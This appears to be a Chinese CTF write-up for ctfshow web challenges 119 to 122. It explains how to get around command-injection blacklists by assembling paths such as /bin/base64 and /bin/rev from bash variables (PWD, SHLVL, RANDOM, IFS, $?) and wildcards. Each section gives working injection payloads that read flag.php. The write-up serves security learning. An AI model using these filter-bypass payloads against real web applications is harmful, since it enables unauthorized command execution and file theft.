1 | ${#变量} |
这里大师傅们用了这两个内置变量:RANDOM
和SHLVL
。
1 | RANDOM |
因此光利用RANDOM这个函数理论上就可以得到数字1-5了,不过相对来说4和5的概率会更大。
1 | SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 |
不理解也没关系,只要知道这个东西的默认值是1,而且如果不进行一些特殊的操作的话,永远都是1,所以这个可以帮助我们得到数字1。
yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? |
或者
1 | ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t |
web120
同上。
之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。
1 | ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
web121
又加ban了好多东西,对于我们来说SHLVL被ban了,因此数字1的构造需要重新想办法。虽然理论上有了RANDOM什么数字都可以构造出来,但是毕竟是随机,拿脚本去跑拼运气总是不好的。
经过本地测试,发现这个可以构造出1:
1 | ${##} |
为啥我也不知道。。。在本地瞎测试出来的。
看了一下yu师傅的姿势,用的是${#?}`
和1
2$?
//上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。${#?}都可以
,去对之前的姿势进行修改就可以了
hint中的payload是这个:
1 | ${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? |
用到了IFS:
用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。
长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。
web122
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了
1 | $? |
在本机测试发现使用${}这样是可以获得数字1的,但是在题目环境中发现返回的是2,无奈之下放开了<的过滤(小于号)
1 | <A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。 |
出现4的几率虽然小,但是是有可能的,不断刷新即可
1 | payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |